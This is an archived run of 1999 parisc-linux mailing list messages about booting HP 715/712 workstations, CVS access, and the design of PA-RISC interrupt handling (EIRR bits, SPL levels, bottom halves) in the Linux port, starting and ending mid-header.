	by Galois.suse.de (Postfix) with ESMTP
	id B13BC67B1; Wed, 25 Aug 1999 01:04:47 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id E62687F8B; Wed, 25 Aug 1999 01:04:46 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199908242255.PAA09913@milano.cup.hp.com>; from Grant Grundler on Tue, Aug 24, 1999 at 03:55:40PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9828

> > Sorry I can't be of any help on the actual problem though...
> 
> This already helped...I'll assume CONFIG_PA7100 means PA7100LC.
> 
> BTW, I went through the linux/.config file and found conflicting
> options enabled (eg. 712 was enabled). So, I'm rebuilding...and
> we'll see what happens.

Right now CONFIG_PA7100 and CONFIG_PA7300LC don't do anything, so you
don't need to be worried about that.


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 715/100
Date: Tue, 24 Aug 1999 19:32:01 -0400
Organization: The Puffin Group
Lines: 25
Approved: news@gmane.org
Message-ID: <37C32B71.50F0B4B6@thepuffingroup.com>
References: <199908242255.PAA09913@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619732 13327 80.91.229.3 (22 Nov 2014 01:28:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:52 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Tue Aug 24 17:14:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA13764
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Aug 1999 17:14:58 -0600
Original-Received: (qmail 14738 invoked by uid 15267); 24 Aug 1999 23:16:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14709 invoked from network); 24 Aug 1999 23:16:36 -0000
Original-Received: from sprite.puffingroup.com (HELO feather.thepuffingroup.com) (209.151.2.200)
  by mailserv2.iuinc.com with SMTP; 24 Aug 1999 23:16:36 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id TAA11998;
	Tue, 24 Aug 1999 19:32:02 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9829

Grant Grundler wrote:
> Matthew Wilcox wrote:
> The linux-2.2.3-19990808.tar.gz is only 291 bytes.
> 19990807 was the last "full" tarball.

Actually, I've fixed this now and now you should find a splendid 13MB
file named linux-2.2.1-19990824.tar.gz.

> > Can you ssh out?  CVS_RSH=ssh should do the trick if so.
> 
> Didn't have ssh...but "socksify" command seems to work
> rather nicely. Found it in /opt/socks/bin and cvs can now
> talk to the puffin.external.hp.com.

I'm heavenly ignorant of socks, but if you intend to commit code, you
really have to get ssh working.  It's the only way we can know that you
are you when you commit code, and makes life a lot simpler.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Graham <BGraham@esigroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 712/60 AND Linux
Date: Wed, 25 Aug 1999 11:47:21 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <2C10B557AEBDD011872500A0C933CDDB69BE86@mail.esigroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416619732 13333 80.91.229.3 (22 Nov 2014 01:28:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:52 +0000 (UTC)
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: BGraham@esigroup.com  Wed Aug 25 11:01:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA15271
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Aug 1999 11:01:29 -0600
Original-Received: (qmail 16885 invoked by uid 15267); 25 Aug 1999 17:03:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16875 invoked from network); 25 Aug 1999 17:03:09 -0000
Original-Received: from esiwg.esigroup.com (HELO mail.esigroup.com) (205.218.124.3)
  by mailserv2.iuinc.com with SMTP; 25 Aug 1999 17:03:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:9830

Hello, I knew there had to be a PA-RISC port in the work, heh been looking.
I just bought a HP 712/60Mhz PA-RISC based HP/UX 10.20 workstation and am
interested greatly in adding Linux to it.  I also figured I would let you
all know, I paid 150$ with a monitor and keyboard but no monitor.  If anyone
else is interested in buying them the man to contact is:
Ryan D. Roberts
Compass Corporate Systems, Inc.
3105 Congress Avenue
Plano, Texas 75025
972-208-3660
fax 972-208-3659
ryan.roberts@compass-corp.com <mailto:ryan.roberts@compass-corp.com> 
 
He had approx 100 when I talked to him and he was seemed to be able to get
more later.  If anyone is interested in them for development machines for
this project, let him know, he is interested in running Linux on them as
well.

Thank you for your time,
Benjamin Graham
Network Engineer
Bgraham@esigroup.com <mailto:Bgraham@esigroup.com> 
501-975-0840 x239


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 715/100
Date: Wed, 25 Aug 1999 11:20:48 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <199908251820.LAA10916@milano.cup.hp.com>
References: <19990824234440.H31994@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619733 13338 80.91.229.3 (22 Nov 2014 01:28:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Aug 25 12:18:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA15580
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Aug 1999 12:18:49 -0600
Original-Received: (qmail 8904 invoked by uid 15267); 25 Aug 1999 18:20:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8897 invoked from network); 25 Aug 1999 18:20:24 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 25 Aug 1999 18:20:24 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA22782
	for <parisc-linux@thepuffingroup.com>; Wed, 25 Aug 1999 14:19:51 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id LAA10916 for <parisc-linux@thepuffingroup.com>; Wed, 25 Aug 1999 11:20:48 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 24 Aug 1999 23:44:40 PDT."
             <19990824234440.H31994@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9831

Matthew Wilcox wrote:
> > I also wasn't sure about the difference between
> > CONFIG_PA7100 and CONFIG_PA7300 in the .config file.
> > I thought the 715/100 is an older machine before 7300LC
> > was available and thus is PA7100. Is this right?
> 
> Well, according to /usr/sam/lib/mo/sched.models (a very useful file!)
> 
> 715     1.1c    PA7100LC

On my HP-UX 10.20 machine the path is /usr/lib/sched.models

> It doesn't mention the submodels explicitly.  However,

Nor the "internal" project names...most people I've worked
have no clue what's in an F20 or I60 (and I don't either).
One of those gaps between marketing and developement.

> http://www.thepuffingroup.com/parisc/hp9000_models.html
> 
> says the 715/100 (both variants!) have PCXL CPUs which is the same as that
> on the 712 models, which we know to be the 7100LC.

Other HP folks:
1) Difference between 7100 and 7100LC the mainly integration of GSC interface?
(ignore clock speed differences)
2) Is PCXL really 7100 *and* 7100LC?

I see T500 used 7100s and I'm certain no GSC bus was present...

grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Thoughts on arch/parisc/irq.c
Date: Wed, 25 Aug 1999 17:49:54 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <199908260049.RAA11578@milano.cup.hp.com>
References: <37C432D3.C9BC0D7F@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619733 13346 80.91.229.3 (22 Nov 2014 01:28:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Aug 25 18:48:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA16403
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Aug 1999 18:47:59 -0600
Original-Received: (qmail 19809 invoked by uid 15267); 26 Aug 1999 00:49:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19796 invoked from network); 26 Aug 1999 00:49:30 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 26 Aug 1999 00:49:30 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA09566
	for <parisc-linux@thepuffingroup.com>; Wed, 25 Aug 1999 17:49:26 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id RAA11578 for <parisc-linux@thepuffingroup.com>; Wed, 25 Aug 1999 17:49:54 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 25 Aug 1999 14:15:47 PDT."
             <37C432D3.C9BC0D7F@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9832


linux/arch/parisc/kernel/irq.c:irq_alloc()/request_irq() seems to be
the method to allocate EIRR bits and register ISRs with PA ext_intr
handler. Dino will call this to initialize it's own EIM register (IAR0).
But to program IAR0 Dino also needs the processor HPA of whatever
processor it is supposed to interrupt.
Is there an interface to return HPAs?

(BTW - anyone else modifying gecko/dino.c?)

Support for PCI 2.2 Message Signalled Interrupts requires
a similar interface - Dino can support this if the interface
were present and PCI drivers wanted to use it.


More thoughts on basic PA interrupt handling:

o Do GBD or other psuedo drivers need to reserve EIRR bits?
  Ie soft interrupts to reschedule work at lower SPL levels.

o associating SPL levels to specific EIRR bits allows changing SPL
  much faster. ie. if EIRR bit 1 is used for SPL2, then setting
  bit 1 in the SPL5 bit mask to disable EIRR bit 1 from generating
  an interrupt makes it very easy to change from SPL2 to SPL5.
  Eg. SPLHI just disables all EIRR bits.

o PA2.0 architecture defines EIRR to be 64-bits wide.
  irq_alloc() and request_irq() hard code 31.
  Using a #define with "ifdef" around it for 32/64 bit
  differences would be better. Just trying to make the
  transition that direction easier.

o Each processor can have it's own EIRR switch table.
  Thus, "irq_action[]" could be an an array hanging off a per processor
  data structure. This is interesting for large configurations where
  the 31 bits aren't enough and sharing isn't supported.

o EIRR bits can be shared just like IRQ lines. A wrapper gets
  put into the irq_action[] field when sharing is required
  (eg run out of EIRR bits to hand out). The wrapper function
  simple calls all ISR's registered for a given EIRR bit.
  This can be ignored for now since A-class/712/715 etc
  configurations probably won't need this.

grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thoughts on arch/parisc/irq.c
Date: Wed, 25 Aug 1999 19:13:04 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <199908260213.TAA11687@milano.cup.hp.com>
References: <E11Jo9U-0005JL-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619733 13349 80.91.229.3 (22 Nov 2014 01:28:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@cup.hp.com  Wed Aug 25 20:11:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA16657
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Aug 1999 20:11:05 -0600
Original-Received: (qmail 5448 invoked by uid 15267); 26 Aug 1999 02:12:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5437 invoked from network); 26 Aug 1999 02:12:45 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 26 Aug 1999 02:12:45 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id WAA14142
	for <parisc-linux@thepuffingroup.com>; Wed, 25 Aug 1999 22:12:13 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id TAA11687; Wed, 25 Aug 1999 19:13:05 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 26 Aug 1999 02:16:27 PDT."
             <E11Jo9U-0005JL-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9833

Alan Cox wrote:
...
> > o Do GBD or other psuedo drivers need to reserve EIRR bits?
> >   Ie soft interrupts to reschedule work at lower SPL levels.
> 
> Linux has no notion of SPL levels at all. The model is
> 

Alan - looks like something got dropped here. Try again?


> Hardware interrupt. These live in a unified space described by a cookie.
> We map the cookie to the irq number on a PC but that is optional. Drivers
> only know about irqs as a cookie.

I think there is going to a problem with "cookies" on PA.
The problem is GSC devices need to program an "EIM" register.
(For Dino, this is IAR0). The contents of the EIM register
are a processor HPA (bits 11-31) and EIRR bit number (bits 0-4;
ie a value 0-31). The location of this register is NOT
defined by PA I/O architecture - or at least not well defined.
Is this a real problem or not?

Another tidbit: I know of only one device which can use "6-bit"
(0-63) EIRR vectors. GSC and PCI devices which are capable of mastering
their own interrupt transactions can also use 6-bits. 6-bits is
obviously only supportable running a 64-bit kernel binary.


> Bottom half handlers. We invoke these on the path out of an irq before
> returning to the normal scheduled universe. mark_bh() sets a bh to be run
> on the next return. BH's are not run if they are already running - they
> are single threaded with respect to each other right now - that may change
> to be 'with respect to self' one day.

For single CPU is doesn't matter. For SMP scalability it might.

> Interrupts may occur during a bh, we normally dont allow interrupts during
> an IRQ handler on the same CPU. 

SPL levels allow the system clock to always get service regardless of how
badly an ISR behaves on the interrupt stack. SPL levels also allow
the clock to "reschedule" work at a lower priority on the interrupt stack
to guarantee the timeout is called "pretty soon". SPL levels also
allow device drivers to service IRQs while the bottom half is active.
Allowing this nesting of SPL levels permits scheduling on the interrupt
stack. Any particular reason for not allowing this?
(eg abuse by driver writers)

thanks,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thoughts on arch/parisc/irq.c
Date: Thu, 26 Aug 1999 02:16:27 +0100 (BST)
Lines: 29
Approved: news@gmane.org
Message-ID: <E11Jo9U-0005JL-00@the-village.bc.nu>
References: <199908260049.RAA11578@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619734 13351 80.91.229.3 (22 Nov 2014 01:28:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Aug 25 20:52:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA16892
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Aug 1999 20:52:01 -0600
Original-Received: (qmail 13602 invoked by uid 15267); 26 Aug 1999 02:53:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13595 invoked from network); 26 Aug 1999 02:53:41 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 26 Aug 1999 02:53:41 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11Jo9U-0005JL-00; Thu, 26 Aug 1999 02:16:28 +0100
In-Reply-To: <199908260049.RAA11578@milano.cup.hp.com> from "Grant Grundler" at Aug 25, 99 05:49:54 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9834

> (BTW - anyone else modifying gecko/dino.c?)

Not just at the moment

> o Do GBD or other psuedo drivers need to reserve EIRR bits?
>   Ie soft interrupts to reschedule work at lower SPL levels.

Linux has no notion of SPL levels at all. The model is

Hardware interrupt. These live in a unified space described by a cookie.
We map the cookie to the irq number on a PC but that is optional. Drivers
only know about irqs as a cookie.

Bottom half handlers. We invoke these on the path out of an irq before
returning to the normal scheduled universe. mark_bh() sets a bh to be run
on the next return. BH's are not run if they are already running - they
are single threaded with respect to each other right now - that may change
to be 'with respect to self' one day.

Interrupts may occur during a bh, we normally dont allow interrupts during
an IRQ handler on the same CPU. 

> o Each processor can have it's own EIRR switch table.
>   Thus, "irq_action[]" could be an an array hanging off a per processor
>   data structure. This is interesting for large configurations where
>   the 31 bits aren't enough and sharing isn't supported.

Ok


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thoughts on arch/parisc/irq.c
Date: Thu, 26 Aug 1999 13:06:22 +0100 (BST)
Lines: 54
Approved: news@gmane.org
Message-ID: <E11JyIS-0005hE-00@the-village.bc.nu>
References: <199908260213.TAA11687@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619734 13355 80.91.229.3 (22 Nov 2014 01:28:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:54 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Aug 26 06:12:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA18330
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Aug 1999 06:12:04 -0600
Original-Received: (qmail 9756 invoked by uid 15267); 26 Aug 1999 12:13:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9736 invoked from network); 26 Aug 1999 12:13:43 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 26 Aug 1999 12:13:43 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11JyIS-0005hE-00; Thu, 26 Aug 1999 13:06:25 +0100
In-Reply-To: <199908260213.TAA11687@milano.cup.hp.com> from "Grant Grundler" at Aug 25, 99 07:13:04 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9835

> Alan - looks like something got dropped here. Try again?

The perils of 2am posting - add the word "different"

> I think there is going to a problem with "cookies" on PA.
> The problem is GSC devices need to program an "EIM" register.
> (For Dino, this is IAR0). The contents of the EIM register
> are a processor HPA (bits 11-31) and EIRR bit number (bits 0-4;
> ie a value 0-31). The location of this register is NOT
> defined by PA I/O architecture - or at least not well defined.
> Is this a real problem or not?

It isnt. If need be you hand out irq numbers to drivers that are
indexes into an array that gives all the real gsc/pci mappings, registers
and other goodies.

> > on the next return. BH's are not run if they are already running - they
> > are single threaded with respect to each other right now - that may change
> > to be 'with respect to self' one day.
> 
> For single CPU is doesn't matter. For SMP scalability it might.

Thats why it might change 

> SPL levels allow the system clock to always get service regardless of how
> badly an ISR behaves on the interrupt stack. SPL levels also allow

We flame people who write badly behaving irq handlers instead. 

> to guarantee the timeout is called "pretty soon". SPL levels also
> allow device drivers to service IRQs while the bottom half is active.

We service IRQs with the bottom half active. The idea is that all non
immediate processing occurs at bh layer - think of the BH system as a BSD
like kernel with only one SPL level.

Having one level reflects the realities of more machines and doesn't really
lose us anything. A typical example flow is

	user space
	[IRQ arrives]
		myether_irq
			handle ring buffer
			netif_rx(buffer)
		 	(marks the NET bh to run)
		end irq
		runs net_bh if not running, irqs are enabled
		process packets
		done
	user space


Alan


From - Thu Nov 08 21:15:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thoughts on arch/parisc/irq.c
Date: Thu, 26 Aug 1999 17:16:34 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <19990826171634.J19314@suse.de>
References: <37C432D3.C9BC0D7F@thepuffingroup.com> <199908260049.RAA11578@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619734 13359 80.91.229.3 (22 Nov 2014 01:28:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Thu Aug 26 09:14:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA18680
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Aug 1999 09:14:56 -0600
Original-Received: (qmail 22199 invoked by uid 15267); 26 Aug 1999 15:16:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22192 invoked from network); 26 Aug 1999 15:16:37 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 26 Aug 1999 15:16:37 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 949C532D04; Thu, 26 Aug 1999 17:16:27 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id AF7F067A9; Thu, 26 Aug 1999 17:16:26 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id AF34E7F8B; Thu, 26 Aug 1999 17:16:34 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199908260049.RAA11578@milano.cup.hp.com>; from Grant Grundler on Wed, Aug 25, 1999 at 05:49:54PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9836

> linux/arch/parisc/kernel/irq.c:irq_alloc()/request_irq() seems to be
> the method to allocate EIRR bits 

alloc_irq is just a quick hack to try to avoid sharing interrupt handlers
if possible.  It returns the next unused IRQ but isn't atomic right now.

> and register ISRs with PA ext_intr
> handler. Dino will call this to initialize it's own EIM register (IAR0).
> But to program IAR0 Dino also needs the processor HPA of whatever
> processor it is supposed to interrupt.

Not exactly right.  You can just use the broadcast EIR address (which might
be GSC-specific but we don't have docs on other hardware yet).

I am not sure how GSC devices will be managed, but if we just chose to be lame
and do it like PCI, there will be a list of GSC devices and the Dino driver
just can do gsc_writel(0xfffe0000+dev->irq, dev->hpa + DINO_IAR0);

> (BTW - anyone else modifying gecko/dino.c?)

I think I am pretty synched right now.  The GSC handling is not in place yet so
perhaps you should hardwire everything until it is.

> Support for PCI 2.2 Message Signalled Interrupts requires
> a similar interface - Dino can support this if the interface
> were present and PCI drivers wanted to use it.

I have no idea what that is.  I don't think it is in the Dino docs I have either
so I am afraid I cannot say anything about it.

> o Do GBD or other psuedo drivers need to reserve EIRR bits?
>   Ie soft interrupts to reschedule work at lower SPL levels.

I don't think so.

> o PA2.0 architecture defines EIRR to be 64-bits wide.
>   irq_alloc() and request_irq() hard code 31.
>   Using a #define with "ifdef" around it for 32/64 bit
>   differences would be better. Just trying to make the
>   transition that direction easier.

Dino at least does not support 6-bit interrupt code according to our
documentation.

> o Each processor can have it's own EIRR switch table.
>   Thus, "irq_action[]" could be an an array hanging off a per processor
>   data structure. This is interesting for large configurations where
>   the 31 bits aren't enough and sharing isn't supported.

I don't want to try things before they get tested by other architectures first
unless necessary.  I don't think per-processor irq_actions are a way to go, but
we can have another look at it when it's time to.


> o EIRR bits can be shared just like IRQ lines. A wrapper gets
>   put into the irq_action[] field when sharing is required
>   (eg run out of EIRR bits to hand out). The wrapper function

Once again, not yet.  There is no way I want to know of to run out of EIRR bits
on 712, 715 or A180s, so I'd like to get us up and running on those first.

	Philipp Rumpf


From - Thu Nov 08 21:15:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thoughts on arch/parisc/irq.c
Date: Thu, 26 Aug 1999 17:26:26 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <19990826172626.K19314@suse.de>
References: <E11Jo9U-0005JL-00@the-village.bc.nu> <199908260213.TAA11687@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619735 13364 80.91.229.3 (22 Nov 2014 01:28:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:55 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Thu Aug 26 09:24:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA18863
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Aug 1999 09:24:48 -0600
Original-Received: (qmail 24853 invoked by uid 15267); 26 Aug 1999 15:26:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24834 invoked from network); 26 Aug 1999 15:26:28 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 26 Aug 1999 15:26:28 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
